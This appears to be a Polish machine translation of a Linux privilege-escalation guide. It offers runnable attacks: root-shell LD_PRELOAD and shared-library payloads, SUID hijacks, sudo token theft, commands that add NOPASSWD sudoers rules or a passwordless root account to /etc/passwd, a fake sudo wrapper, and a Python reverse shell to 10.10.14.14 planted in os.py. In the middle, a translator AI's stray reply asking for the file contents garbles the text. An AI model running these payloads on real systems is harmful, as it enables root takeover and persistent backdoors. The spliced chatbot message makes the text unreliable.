Ta dyrektywa pozwala użytkownikowi set an environment variable podczas wykonywania polecenia:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Ten przykład, oparty na HTB machine Admirer, był podatny na PYTHONPATH hijacking, umożliwiając załadowanie dowolnej biblioteki python podczas wykonywania skryptu jako root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV zachowane przez sudo env_keep → root shell

Jeśli sudoers zachowuje BASH_ENV (np. Defaults env_keep+="ENV BASH_ENV"), możesz wykorzystać zachowanie startowe Bash w trybie nieinteraktywnym, aby uruchomić dowolny kod jako root podczas wywoływania dozwolonego polecenia.

• Dlaczego to działa: Dla nieinteraktywnych powłok Bash odczytuje $BASH_ENV i wczytuje ten plik przed uruchomieniem docelowego skryptu. Wiele reguł sudo zezwala na uruchamianie skryptu lub wrappera powłoki. Jeśli BASH_ENV jest zachowane przez sudo, twój plik zostanie wczytany z uprawnieniami root.

• Wymagania:

• Reguła sudo, którą możesz uruchomić (dowolny target, który wywołuje /bin/bash w trybie nieinteraktywnym, lub dowolny skrypt bash).

• BASH_ENV obecny w env_keep (sprawdź za pomocą sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Hardening:
• Usuń BASH_ENV (i ENV) z env_keep, używaj env_reset.
• Unikaj opakowań powłoki dla komend dozwolonych przez sudo; używaj minimalnych binariów.
• Rozważ logowanie I/O sudo i alertowanie, gdy używane są zachowane zmienne środowiskowe.

Ścieżki omijające wykonanie sudo

Przejdź aby przeczytać inne pliki lub użyć symlinks. Na przykład w pliku sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Jeśli użyty jest wildcard (*), jest to jeszcze łatwiejsze:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Środki zaradcze: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary bez ścieżki do polecenia

Jeśli uprawnienie sudo jest przyznane dla pojedynczego polecenia bez określenia ścieżki: hacker10 ALL= (root) less możesz to wykorzystać, zmieniając zmienną PATH.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Ta technika może być również użyta, jeśli binarka suid wywołuje inne polecenie bez określenia jego ścieżki (zawsze sprawdź zawartość dziwnego pliku SUID za pomocą strings)).

Payload examples to execute.

Plik SUID z podaną ścieżką do polecenia

Jeśli binarka suid wywołuje inne polecenie podając jego ścieżkę, możesz spróbować wyeksportować funkcję nazwaną tak, jak polecenie, które wywołuje plik suid.

Na przykład, jeśli binarka suid wywołuje /usr/sbin/service apache2 start musisz spróbować utworzyć funkcję i wyeksportować ją:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Następnie, gdy wywołasz suid binary, ta funkcja zostanie wykonana

LD_PRELOAD & LD_LIBRARY_PATH

Zmienna środowiskowa LD_PRELOAD służy do wskazania jednej lub więcej bibliotek współdzielonych (.so files), które loader załaduje przed wszystkimi innymi, w tym przed standardową biblioteką C (libc.so). Ten proces znany jest jako wstępne ładowanie biblioteki.

Jednak aby zachować bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku wykonywalnych plików suid/sgid, system wymusza pewne warunki:

• Loader ignoruje LD_PRELOAD dla plików wykonywalnych, w których realny identyfikator użytkownika (ruid) nie zgadza się z efektywnym identyfikatorem użytkownika (euid).
• Dla plików wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które również mają suid/sgid, są wstępnie ładowane.

Privilege escalation może wystąpić, jeśli masz możliwość wykonywania poleceń za pomocą sudo, a wynik sudo -l zawiera wpis env_keep+=LD_PRELOAD. Ta konfiguracja pozwala, aby zmienna środowiskowa LD_PRELOAD przetrwała i była uwzględniana nawet podczas uruchamiania poleceń z sudo, co może doprowadzić do uruchomienia dowolnego kodu z podniesionymi uprawnieniami.

Defaults        env_keep += LD_PRELOAD

Zapisz jako /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Następnie skompiluj to używając:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Na koniec, escalate privileges uruchamiając

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Gdy natrafisz na binary z uprawnieniami SUID, które wydają się nietypowe, dobrą praktyką jest sprawdzenie, czy poprawnie ładuje pliki .so. Można to sprawdzić, uruchamiając następujące polecenie:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Na przykład natrafienie na błąd taki jak "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" sugeruje możliwość wykorzystania.

Aby to wykorzystać, należy utworzyć plik C, na przykład "/path/to/.config/libcalc.c", zawierający następujący kod:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ten kod, po skompilowaniu i uruchomieniu, ma na celu podniesienie uprawnień poprzez manipulowanie uprawnieniami plików oraz uruchomienie powłoki z podwyższonymi uprawnieniami.

Skompiluj powyższy plik C do pliku .so za pomocą:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Wreszcie uruchomienie dotkniętego pliku binarnego SUID powinno wywołać exploit, umożliwiając potencjalne przejęcie systemu.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Teraz, gdy znaleźliśmy binarkę SUID ładującą library z folderu, do którego możemy zapisywać, utwórzmy library w tym folderze o wymaganej nazwie:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Jeśli otrzymasz błąd taki jak

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

to oznacza, że wygenerowana biblioteka musi zawierać funkcję o nazwie a_function_name.

GTFOBins

GTFOBins to kuratorowana lista binarek Unix, które mogą zostać wykorzystane przez atakującego do obejścia lokalnych ograniczeń bezpieczeństwa. GTFOArgs działa podobnie, ale dla przypadków, gdy możesz tylko wstrzykiwać argumenty w polecenie.

Projekt zbiera legalne funkcje binarek Unix, które można nadużyć, aby uciec z ograniczonych shelli, eskalować lub utrzymać podwyższone uprawnienia, przesyłać pliki, uruchamiać bind i reverse shelle oraz ułatwiać inne zadania post-exploitation.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

Jeśli masz dostęp do sudo -l możesz użyć narzędzia FallOfSudo aby sprawdzić, czy znajdzie sposoby na wykorzystanie jakiejkolwiek reguły sudo.

Wykorzystywanie tokenów sudo

W sytuacjach, gdy masz dostęp do sudo, ale nie znasz hasła, możesz eskalować uprawnienia poprzez oczekiwanie na wykonanie polecenia sudo i przejęcie tokenu sesji.

Wymagania do eskalacji uprawnień:

• Masz już shell jako użytkownik "sampleuser"
• "sampleuser" użył sudo do wykonania czegoś w ostatnich 15 minutach (domyślnie to czas trwania tokenu sudo, który pozwala używać sudo bez podawania hasła)
• cat /proc/sys/kernel/yama/ptrace_scope ma wartość 0
• gdb jest dostępny (możesz go przesłać)

(Możesz tymczasowo włączyć ptrace_scope za pomocą echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope lub trwale modyfikując /etc/sysctl.d/10-ptrace.conf i ustawiając kernel.yama.ptrace_scope = 0)

Jeśli wszystkie te wymagania są spełnione, możesz eskalować uprawnienia używając: https://github.com/nongiach/sudo_inject

• Pierwszy exploit (exploit.sh) utworzy binarkę activate_sudo_token w /tmp. Możesz jej użyć, aby aktywować token sudo w swojej sesji (nie otrzymasz automatycznie root shell, wykonaj sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• drugi exploit (exploit_v2.sh) utworzy sh shell w /tmp, który będzie należał do root i będzie miał ustawiony setuid

bash exploit_v2.sh
/tmp/sh -p

• Trzeci exploit (exploit_v3.sh) utworzy plik sudoers, który czyni tokeny sudo wiecznymi i pozwala wszystkim użytkownikom używać sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Jeśli masz uprawnienia do zapisu w folderze lub na którymkolwiek z plików utworzonych w tym folderze możesz użyć binarki write_sudo_token aby utworzyć token sudo dla użytkownika i PID.
Na przykład, jeśli możesz nadpisać plik /var/run/sudo/ts/sampleuser i masz powłokę jako ten użytkownik z PID 1234, możesz uzyskać uprawnienia sudo bez potrzeby znajomości hasła, wykonując:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Plik /etc/sudoers oraz pliki w katalogu /etc/sudoers.d konfigurują, kto może używać sudo i w jaki sposób. Te pliki domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root.
Jeśli możesz odczytać ten plik, możesz być w stanie uzyskać jakieś interesujące informacje, a jeśli możesz zapisć dowolny plik, będziesz w stanie escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Jeśli możesz zapisywać, możesz nadużyć tego uprawnienia

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Inny sposób nadużycia tych uprawnień:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Istnieją alternatywy dla binarki sudo, takie jak doas dla OpenBSD — pamiętaj, aby sprawdzić jego konfigurację w /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Jeśli wiesz, że użytkownik zwykle łączy się z maszyną i używa sudo do eskalacji uprawnień i uzyskałeś shell w kontekście tego użytkownika, możesz utworzyć nowy executable sudo, który wykona twój kod jako root, a potem polecenie użytkownika. Następnie zmodyfikuj $PATH w kontekście użytkownika (na przykład dodając nową ścieżkę w .bash_profile), tak aby gdy użytkownik uruchomi sudo, wykonany został twój executable sudo.

Zwróć uwagę, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład sudo-piggyback modyfikuje ~/.bashrc, ~/.zshrc, ~/.bash_profile. Inny przykład znajdziesz w bashdoor.py

Albo uruchamiając coś takiego:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Biblioteka współdzielona

ld.so

Plik /etc/ld.so.conf wskazuje skąd pochodzą ładowane pliki konfiguracyjne. Zwykle ten plik zawiera następującą ścieżkę: include /etc/ld.so.conf.d/*.conf

To oznacza, że pliki konfiguracyjne z /etc/ld.so.conf.d/*.conf zostaną wczytane. Te pliki konfiguracyjne wskazują na inne foldery, w których będą wyszukiwane biblioteki. Na przykład zawartość /etc/ld.so.conf.d/libc.conf to /usr/local/lib. To oznacza, że system będzie szukał bibliotek w katalogu /usr/local/lib.

Jeżeli z jakiegoś powodu użytkownik ma uprawnienia do zapisu w którymkolwiek z wskazanych miejsc: /etc/ld.so.conf, /etc/ld.so.conf.d/, w dowolnym pliku wewnątrz /etc/ld.so.conf.d/ lub w dowolnym katalogu wskazanym w pliku konfiguracyjnym /etc/ld.so.conf.d/*.conf, może on uzyskać eskalację uprawnień.
Zobacz, jak wykorzystać to błędne skonfigurowanie na poniższej stronie:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Kopiując lib do /var/tmp/flag15/, zostanie ona użyta przez program w tym miejscu, zgodnie z wartością zmiennej RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Następnie stwórz złośliwą bibliotekę w /var/tmp używając gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Uprawnienia

Linux capabilities zapewniają podzbiór dostępnych uprawnień roota dla procesu. To efektywnie rozbija uprawnienia roota na mniejsze i odrębne jednostki. Każdej z tych jednostek można następnie niezależnie przydzielać procesom. W ten sposób pełen zestaw uprawnień jest zredukowany, zmniejszając ryzyko wykorzystania.
Przeczytaj następującą stronę, aby dowiedzieć się więcej o capabilities i jak je nadużywać:

Linux Capabilities

Uprawnienia katalogu

W katalogu, bit for "execute" oznacza, że użytkownik może cd do folderu.
Bit "read" oznacza, że użytkownik może list pliki, a bit "write" oznacza, że użytkownik może delete i create nowe pliki.

ACLs

Access Control Lists (ACLs) reprezentują drugą warstwę uprawnień dyskrecjonalnych, zdolną do nadpisywania tradycyjnych uprawnień ugo/rwx. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów poprzez umożliwienie przyznawania lub odmawiania praw konkretnym użytkownikom, którzy nie są właścicielami ani nie należą do grupy. Ten poziom szczegółowości zapewnia precyzyjniejsze zarządzanie dostępem. Dalsze szczegóły można znaleźć here.

Nadaj użytkownikowi "kali" uprawnienia read i write do pliku:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Pobierz pliki z określonymi ACLs z systemu:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Otwarte sesje shell

W starych wersjach możesz hijack sesję shell innego użytkownika (root).
W najnowszych wersjach będziesz mógł connect do screen sessions tylko własnego użytkownika. Jednak możesz znaleźć ciekawych informacji wewnątrz sesji.

screen sessions hijacking

Wyświetl screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Dołącz do sesji

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

Przejęcie sesji tmux

To był problem ze starymi wersjami tmux. Nie mogłem przejąć sesji tmux (v2.1) utworzonej przez root jako użytkownik bez uprawnień.

Wylistuj sesje tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Dołącz do sesji

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Sprawdź Valentine box from HTB dla przykładu.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Wszystkie klucze SSL i SSH wygenerowane w systemach opartych na Debianie (Ubuntu, Kubuntu, itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.
Ten błąd występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ możliwych było tylko 32,768 wariantów. Oznacza to, że wszystkie możliwości można obliczyć i posiadając publiczny klucz ssh możesz wyszukać odpowiadający mu klucz prywatny. Obliczone możliwości znajdziesz tutaj: https://github.com/g0tmi1k/debian-ssh

Interesujące wartości konfiguracji SSH

• PasswordAuthentication: Określa, czy uwierzytelnianie hasłem jest dozwolone. Domyślnie no.
• PubkeyAuthentication: Określa, czy uwierzytelnianie za pomocą klucza publicznego jest dozwolone. Domyślnie yes.
• PermitEmptyPasswords: Gdy uwierzytelnianie hasłem jest dozwolone, określa, czy serwer pozwala na logowanie do kont z pustymi hasłami. Domyślnie no.

PermitRootLogin

Określa, czy root może się logować przez ssh, domyślnie no. Możliwe wartości:

• yes: root może się logować używając hasła i klucza prywatnego
• without-password or prohibit-password: root może się logować tylko kluczem prywatnym
• forced-commands-only: root może się logować tylko za pomocą klucza prywatnego i tylko jeśli określono opcje command
• no : nie

AuthorizedKeysFile

Określa pliki zawierające klucze publiczne, które mogą być użyte do uwierzytelniania użytkownika. Może zawierać tokeny takie jak %h, które zostaną zastąpione katalogiem domowym. Możesz wskazać ścieżki bezwzględne (rozpoczynające się od /) lub ścieżki względne względem katalogu domowego użytkownika. Na przykład:

AuthorizedKeysFile    .ssh/authorized_keys access

Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się przy użyciu private key użytkownika "testusername" ssh porówna public key twojego key z tymi znajdującymi się w /home/testusername/.ssh/authorized_keys i /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding pozwala Ci use your local SSH keys instead of leaving keys (without passphrases!) na serwerze. Dzięki temu będziesz mógł jump via ssh to a host i stamtąd jump to another host using the key located in your initial host.

Musisz ustawić tę opcję w $HOME/.ssh.config w następujący sposób:

Host example.com
ForwardAgent yes

Zauważ, że jeśli Host jest *, za każdym razem gdy użytkownik przełączy się na inną maszynę, ta maszyna będzie miała dostęp do kluczy (co stanowi problem bezpieczeństwa).

Plik /etc/ssh_config może nadpisać te opcje i zezwolić lub zabronić tej konfiguracji.
Plik /etc/sshd_config może zezwalać lub zabraniać ssh-agent forwarding za pomocą słowa kluczowego AllowAgentForwarding (domyślnie zezwolone).

Jeśli zauważysz, że Forward Agent jest skonfigurowany w środowisku, przeczytaj następującą stronę — możesz być w stanie wykorzystać to do eskalacji uprawnień:

SSH Forward Agent exploitation

Interesujące pliki

Pliki profili

Plik /etc/profile oraz pliki w katalogu /etc/profile.d/ to skrypty, które są uruchamiane, gdy użytkownik uruchamia nową powłokę. Dlatego, jeśli możesz zapisać lub zmodyfikować którykolwiek z nich, możesz eskalować uprawnienia.

ls -l /etc/profile /etc/profile.d/

Jeśli znajdziesz jakiś podejrzany skrypt profilu, powinieneś sprawdzić go pod kątem wrażliwych informacji.

Pliki passwd/shadow

W zależności od systemu operacyjnego pliki /etc/passwd i /etc/shadow mogą mieć inną nazwę lub może istnieć ich kopia zapasowa. Dlatego zaleca się odnaleźć je wszystkie i sprawdzić, czy można je odczytać, aby zobaczyć czy są w nich hashes:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

W niektórych przypadkach można znaleźć password hashes w pliku /etc/passwd (lub równoważnym)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd z prawem zapisu

Najpierw wygeneruj hasło używając jednej z następujących komend.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Nie widzę zawartości pliku src/linux-hardening/privilege-escalation/README.md. Proszę wklej treść pliku, którą mam przetłumaczyć.

Dodatkowo: czy chcesz, żebym

• wygenerował losowe hasło i wstawił je w tłumaczeniu (podając je jawnie), oraz
• dodał instrukcję/komendy do utworzenia użytkownika hacker (np. polecenia useradd/passwd)?

Uwaga: nie mogę wykonać zmian na Twoim systemie — mogę tylko dostarczyć przetłumaczony plik i polecenia do uruchomienia lokalnie.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Np: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Teraz możesz użyć polecenia su z hacker:hacker

Alternatywnie, możesz użyć poniższych linii, aby dodać użytkownika testowego bez hasła.
UWAGA: możesz obniżyć aktualne bezpieczeństwo maszyny.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

UWAGA: Na platformach BSD /etc/passwd znajduje się pod /etc/pwd.db i /etc/master.passwd, natomiast /etc/shadow zostało przemianowane na /etc/spwd.db.

Powinieneś sprawdzić, czy możesz zapisać do niektórych wrażliwych plików. Na przykład, czy możesz zapisać do jakiegoś pliku konfiguracyjnego usługi?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Na przykład, jeśli na maszynie działa serwer tomcat i możesz zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/, możesz zmodyfikować następujące linie:

ExecStart=/path/to/backdoor
User=root
Group=root

Twój backdoor zostanie wykonany przy następnym uruchomieniu tomcat.

Sprawdź katalogi

Poniższe foldery mogą zawierać kopie zapasowe lub interesujące informacje: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Dziwna lokalizacja/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Zmodyfikowane pliki w ostatnich minutach

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Pliki Sqlite DB

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Ukryte pliki

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries w PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Pliki webowe

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Kopie zapasowe

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Znane pliki zawierające hasła

Przejrzyj kod linPEAS, przeszukuje on wiele potencjalnych plików, które mogą zawierać hasła.
Innym ciekawym narzędziem którego możesz użyć, jest: LaZagne które jest otwartoźródłową aplikacją służącą do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla Windows, Linux & Mac.

Logi

Jeśli potrafisz czytać logi, możesz znaleźć w nich interesujące/poufne informacje. Im dziwniejszy log, tym prawdopodobniej będzie bardziej interesujący.
Również niektóre źle skonfigurowane (z backdoorem?) audit logs mogą pozwolić na zarejestrowanie haseł wewnątrz audit logs, jak wyjaśniono w tym wpisie: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Aby czytać logi, grupa adm będzie naprawdę pomocna.

Pliki powłoki

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Powinieneś także sprawdzić pliki zawierające słowo "password" w nazwie lub w zawartości, a także sprawdzić IPs i emails w logach lub hashes regexps.
Nie będę tutaj opisywać, jak wykonać to wszystko, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie sprawdzenia, które wykonuje linpeas.

Pliki zapisywalne

Python library hijacking

Jeśli wiesz, z jakiego miejsca skrypt python będzie uruchamiany i możesz zapisać w tym folderze lub możesz modyfikować python libraries, możesz zmodyfikować bibliotekę OS i backdoorować ją (jeśli możesz zapisać tam, gdzie skrypt python będzie uruchamiany, skopiuj i wklej bibliotekę os.py).

To backdoor the library po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Wykorzystanie logrotate

Luka w logrotate pozwala użytkownikom z uprawnieniami zapisu do pliku logu lub jego katalogów nadrzędnych potencjalnie uzyskać eskalację uprawnień. Dzieje się tak, ponieważ logrotate, często uruchamiany jako root, może być zmanipulowany do wykonania dowolnych plików, szczególnie w katalogach takich jak /etc/bash_completion.d/. Ważne jest sprawdzenie uprawnień nie tylko w /var/log, ale także we wszystkich katalogach, w których stosuje się rotację logów.

Szczegółowe informacje o luce można znaleźć na tej stronie: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Możesz wykorzystać tę lukę za pomocą logrotten.

Ta luka jest bardzo podobna do CVE-2016-1247 (nginx logs), więc za każdym razem, gdy stwierdzisz, że możesz modyfikować logi, sprawdź, kto nimi zarządza i czy możesz eskalować uprawnienia, zastępując logi dowiązaniami symbolicznymi.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Skrypty sieciowe, np. ifcg-eth0, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są one ~sourced~ na Linuxie przez Network Manager (dispatcher.d).

W moim przypadku atrybut NAME= w tych skryptach sieciowych nie jest poprawnie obsługiwany. Jeśli nazwa zawiera spację/biały znak, system próbuje wykonać część znajdującą się po tej spacji/białym znaku. To oznacza, że wszystko po pierwszej spacji jest wykonywane jako root.

Na przykład: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Uwaga: pusty odstęp między Network a /bin/id)

init, init.d, systemd i rc.d

Katalog /etc/init.d zawiera skrypty dla System V init (SysVinit), klasycznego systemu zarządzania usługami w Linuksie. Zawiera skrypty do start, stop, restart, i czasami reload usług. Mogą być uruchamiane bezpośrednio lub przez dowiązania symboliczne znajdujące się w /etc/rc?.d/. Alternatywna ścieżka w systemach Redhat to /etc/rc.d/init.d.

